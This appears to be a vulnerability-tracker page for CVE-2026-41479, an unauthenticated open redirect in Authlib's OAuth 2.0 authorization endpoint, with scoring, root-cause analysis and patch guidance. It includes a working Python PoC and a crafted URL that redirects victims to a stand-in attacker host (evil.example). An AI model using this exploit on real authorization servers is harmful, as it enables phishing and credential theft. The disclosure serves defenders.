Skip to main content

Authlib CVE-2026-41479

| EUVDEUVD-2026-38360 MEDIUM
URL Redirection to Untrusted Site (Open Redirect) (CWE-601)
2026-06-08 https://github.com/authlib/authlib GHSA-w8p2-r796-3vmq
5.4
CVSS 3.1 · Vendor: https://github.com/authlib/authlib
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft URL with unsupported response_type and evil redirect_uri
  2. Delivery
    Send crafted authorization URL to victim
  3. Exploit
    Victim clicks trusted authorization server link
  4. Execution
    Authlib raises UnsupportedResponseTypeError with unvalidated redirect_uri
  5. Persist
    Server issues 302 to attacker-controlled domain
  6. Impact
    Victim lands on phishing page for credential harvest

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V3 - Web Frontend Security Redirect URL validation
MITRE ATT&CK

1 technique across 1 tactic: Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions are required beyond the authorization endpoint being network-reachable. The vulnerable code path triggers on any request that supplies (1) a response_type value not registered with the server - which can be any arbitrary string - and (2) a redirect_uri query parameter. No valid OAuth client registration is required, no authenticated session is needed, and no non-default configuration flag must be set; the only requirement is that the application exposes an authorization endpoint using Authlib's AuthorizationServer with the standard get_consent_grant / handle_error_response pattern documented for Flask and Django. The sole factor limiting exploitation is user interaction (CVSS UI:R): a victim must follow the crafted URL, meaning the attacker cannot exploit this purely server-side without social engineering. The AUTHLIB_INSECURE_TRANSPORT environment variable used in the POC is irrelevant to the vulnerability - it was only needed for local HTTP testing; production HTTPS deployments are equally affected.

Impact

The CVSS 3.1 score of 5.4 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N) correctly reflects the exploit mechanics: the attack is fully network-reachable (AV:N), requires no special conditions (AC:L), no authentication (PR:N), but does require a victim to follow a crafted link (UI:R). The Unchanged scope (S:U) and moderate confidentiality/integrity impact (C:L/I:L) reflect indirect harm through phishing rather than direct system compromise. A working POC is embedded in the GitHub security advisory and was independently reproduced on the current HEAD, meaning the barrier to weaponization is effectively zero for any attacker who can send a URL to a victim. No EPSS score was available in the provided data, and the CVE is not listed in the CISA KEV catalog, so wide automated scanning is not yet confirmed. However, the combination of zero-prerequisite access (no client registration needed) and the social-engineering leverage of a trusted authorization server domain makes this a realistic, high-value phishing vector. The CVSS medium score should not lull defenders into deprioritizing remediation: the practical harm from open redirect on an OAuth authorization endpoint - domain-allowlist bypass, SSO confusion, credential theft - exceeds what the numeric score implies.

Exploit ScenarioDerived

An attacker crafts a URL to a legitimate Authlib-powered authorization endpoint using a non-existent response_type (e.g., response_type=x) and an attacker-controlled redirect_uri (e.g., https://evil.example/landing), then delivers this URL to a victim via phishing email or malicious link - abusing the trusted authorization server's domain name. When the victim's browser follows the link, Authlib immediately returns a 302 Location: https://evil.example/landing response before any client check occurs, transparently redirecting the victim to the attacker's phishing page. A working POC demonstrating this exact behavior is included in the GitHub advisory and was confirmed on both Flask and Django integrations.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 08, 2026

Unauthenticated open redirect in Authlib's OAuth 2.0 authorization endpoint allows any remote attacker to weaponize a trusted authorization server domain as a redirector - no client registration, no authenticated session, and no prior state required. The flaw affects all deployments of pip/authlib < 1.6.10 and == 1.7.0 running an authorization endpoint via the Flask or Django integrations. Publicly available exploit code exists and was dynamically confirmed against the live HEAD (v1.6.6-104-g68e6ab3f); no public exploit identified at time of analysis as confirmed actively exploited (CISA KEV status absent), but the trivial, zero-prerequisite exploit path makes phishing and domain-allowlist bypass practical at scale.

RemediationAI

Upgrade authlib to version 1.6.10 (for the 1.6.x branch) or 1.7.1 (for the 1.7.x branch) to receive the vendor-released patch. The exact fix is in commit 3be08468201a7766a93012ce149ea12822cab096 (https://github.com/authlib/authlib/commit/3be08468201a7766a93012ce149ea12822cab096), which changes get_authorization_grant() to only pass a redirect_uri into UnsupportedResponseTypeError after validating that a matching client exists and that the URI passes client.check_redirect_uri(), in compliance with RFC 6749 §4.1.2.1. If an immediate upgrade is not possible, a compensating control is to add a middleware or WAF rule that rejects authorization endpoint requests where response_type is not in the server's explicitly allowed list before the request reaches Authlib - this prevents the UnsupportedResponseTypeError path from being triggered, eliminating the redirect. A trade-off is that this creates a tight coupling between the WAF configuration and the set of registered grants; any new grant type must be added to both Authlib and the allowlist. Alternatively, logging and alerting on response_type values not in the registered set can provide early detection with no service disruption.

Affected VersionsENISA

authlib < 1.6.10
authlib = 1.7.0

Affected Packages

pypi authlib fix: 1.6.10, 1.7.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Authlib (pkg:pip/authlib) is a Python OAuth 2.0 / OpenID Connect library with documented integrations for Flask and Django. The root cause (CWE-601: URL Redirection to Untrusted Site) lies in AuthorizationServer.get_authorization_grant() in authlib/oauth2/rfc6749/authorization_server.py. When the incoming response_type parameter does not match any registered grant, the method raises UnsupportedResponseTypeError and - critically - copies the raw, unvalidated request.payload.redirect_uri directly into that error object before any client lookup has occurred. The base class OAuth2Error.__call__() in authlib/oauth2/base.py then checks whether self.redirect_uri is set and, if so, emits a 302 response with that URI as the Location header. Because client resolution and RFC 6749 §4.1.2.1 redirect URI validation are never reached in this error path, an attacker-supplied redirect_uri is honoured unconditionally. The fix (commit 3be08468) enforces that a redirect URI is only propagated into the error after confirming a valid client_id, a matching registered client, and a client.check_redirect_uri() pass.

Know when Open Redirect gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/authlib/authlib) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
SUSE MEDIUM
Red Hat 5.4 MEDIUM

Primary rating from Vendor (https://github.com/authlib/authlib).

CVSS VectorVendor: https://github.com/authlib/authlib

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

Summary

Authlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.

The vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.

It was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.

Details

The root cause is that AuthorizationServer.get_authorization_grant() copies the raw request redirect_uri into an UnsupportedResponseTypeError before any client has been resolved and before any redirect URI validation has happened:

python
# authlib/oauth2/rfc6749/authorization_server.py
  raise UnsupportedResponseTypeError(
      f"The response type '{request.payload.response_type}' is not supported by the server.",
      request.payload.response_type,
      redirect_uri=request.payload.redirect_uri,
  )

  That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib
  automatically returns a redirect response to that URI:
# authlib/oauth2/base.py
  def __call__(self, uri=None):
      if self.redirect_uri:
          params = self.get_body()
          loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)
          return 302, "", [("Location", loc)]
      return super().__call__(uri=uri)

  This means an unsupported response_type request can force the authorization server to redirect
  to an attacker-controlled URL even when:

  1. no valid client exists,
  2. no grant matched the request,
  3. no registered redirect_uri was ever checked.

  This is not a contrived code path. It is reachable through the normal Authlib authorization
  endpoint flow documented for Flask and Django integrations, where applications are told to call
  server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.

  Relevant source and documentation references:

  - authlib/oauth2/rfc6749/authorization_server.py
  - authlib/oauth2/base.py
  - docs/flask/2/authorization-server.rst
  - docs/django/2/authorization-server.rst
### PoC

  Local test environment:

  - Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1
  - git describe: v1.6.6-104-g68e6ab3f
  - Python virtualenv: ./.venv
  - Environment variable: AUTHLIB_INSECURE_TRANSPORT=true

  Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.
  It does not create the vulnerable behavior. In a real deployment the same logic is reachable
  over HTTPS.

  Run this exact PoC from the repository root:

  export AUTHLIB_INSECURE_TRANSPORT=true
  ./.venv/bin/python - <<'PY'
  import os, json
  from flask import Flask, request
  from authlib.integrations.flask_oauth2 import AuthorizationServer
  from authlib.oauth2 import OAuth2Error
  from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant

  os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true"

  class AuthorizationCodeGrant(_AuthorizationCodeGrant):
      def save_authorization_code(self, code, request):
          raise RuntimeError("not reached")
      def query_authorization_code(self, code, client):
          return None
      def delete_authorization_code(self, authorization_code):
          pass
      def authenticate_user(self, authorization_code):
          return None

  app = Flask(__name__)
  app.secret_key = "testing"

  server = AuthorizationServer(
      app,
      query_client=lambda client_id: None,
      save_token=lambda token, request: None,
  )
  server.register_grant(AuthorizationCodeGrant)

  @app.route("/oauth/authorize", methods=["GET", "POST"])
  def authorize():
      try:
          grant = server.get_consent_grant(end_user=None)
      except OAuth2Error as error:
          return server.handle_error_response(request, error)
      return server.create_authorization_response(grant=grant, grant_user=None)

  with app.test_client() as c:
      cases = {
          "without_redirect_uri": "/oauth/authorize?response_type=totally-unsupported&state=s1",
          "with_attacker_redirect_uri": "/oauth/authorize?response_type=totally-
  unsupported&redirect_uri=https%3A%2F%2Fevil.example%2Flanding&state=s1",
      }
      out = {}
      for name, url in cases.items():
          r = c.get(url)
          out[name] = {
              "status": r.status_code,
              "location": r.headers.get("Location"),
              "body": r.get_data(as_text=True),
          }
      print(json.dumps(out, indent=2))
  PY

  Observed result:

  {
    "without_redirect_uri": {
      "status": 400,
      "location": null,
      "body": "{\"error\": \"unsupported_response_type\", \"error_description\": \"totally-
  unsupported\", \"state\": \"s1\"}"
    },
    "with_attacker_redirect_uri": {
      "status": 302,
      "location":
  "https://evil.example/landing?error=unsupported_response_type&error_description=totally-unsupported&state=s1",
      "body": ""
    }
  }

  This demonstrates that the only difference between a local error and an external redirect is
  whether the attacker supplies redirect_uri.

  The same behavior was locally reproduced with the Django integration using RequestFactory; it
  returned:

  {
    "status": 302,
    "location":
  "https://evil.example/landing?error=unsupported_response_type&error_description=totally-unsupported&state=s1",
    "body": ""
  }
### Impact
  This is an unauthenticated open redirect in an internet-facing authorization endpoint.

  Who is impacted:

  - Any deployment using Authlib's OAuth 2.0 authorization server and the documented authorization
    endpoint flow.
  - No special feature flag is required beyond running the authorization endpoint itself.

  Attacker prerequisites:

  - None beyond the ability to send a victim to a crafted authorization URL.

  Practical harm:

  - Phishing and credential theft by abusing a trusted authorization server domain as a
    redirector.
  - Bypass of domain-based allowlists that trust the authorization server's host.
  - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to
    reject unregistered redirect URIs before redirecting.

  The issue is especially concerning because the redirect happens before client existence and
  redirect URI legitimacy are established.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 4 pypi packages depend on authlib (3 direct, 1 indirect)

Ecosystem-wide dependent count for version 1.7.0.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0
CVE-2017-1000117 HIGH POC
8.8 Oct 05

A malicious third-party can give a crafted "ssh://..." URL to an unsuspecting victim, and an attempt to visit the URL ca

CVE-2024-52875 HIGH POC
8.8 Jan 31

GFI Kerio Control versions 9.2.5 through 9.4.5 contain an HTTP response splitting vulnerability in the dest parameter of

CVE-2016-5385 HIGH POC
8.1 Jul 19

PHP through 7.0.8 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and therefore does not protect

CVE-2013-2248 MEDIUM POC
5.8 Jul 20

Multiple open redirect vulnerabilities in Apache Struts 2.0.0 through 2.3.15 allow remote attackers to redirect users to

CVE-2018-11784 MEDIUM POC
4.3 Oct 04

When the default servlet in Apache Tomcat versions 9.0.0.M1 to 9.0.11, 8.5.0 to 8.5.33 and 7.0.23 to 7.0.90 returned a r

CVE-2022-45402 MEDIUM
6.1 Nov 15

In Apache Airflow versions prior to 2.4.3, there was an open redirect in the webserver's `/login` endpoint. Rated medium

CVE-2012-6499 MEDIUM POC
5.8 Jan 12

Open redirect vulnerability in age-verification.php in the Age Verification plugin 0.4 and earlier for WordPress allows

CVE-2015-2863 MEDIUM POC
4.3 Jul 20

Open redirect vulnerability in Kaseya Virtual System Administrator (VSA) 7.x before 7.0.0.29, 8.x before 8.0.0.18, 9.0 b

CVE-2017-3528 MEDIUM POC
5.4 Apr 24

Vulnerability in the Oracle Applications Framework component of Oracle E-Business Suite (subcomponent: Popup windows (li

CVE-2012-0518 MEDIUM
4.7 Oct 16

Unspecified vulnerability in the Oracle Application Server Single Sign-On component in Oracle Fusion Middleware 10.1.4.3

CVE-2024-21641 MEDIUM POC
6.5 Jan 05

Flarum is open source discussion platform software. Rated medium severity (CVSS 6.5), this vulnerability is remotely exp

CVE-2015-5354 MEDIUM POC
5.8 Jul 01

Open redirect vulnerability in Novius OS 5.0.1 (Elche) allows remote attackers to redirect users to arbitrary web sites

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected
SUSE Linux Enterprise Module for Python 3 15 SP7 Affected
SUSE Linux Enterprise Server 15 SP7 Affected
SUSE Linux Enterprise Server for SAP Applications 15 SP7 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy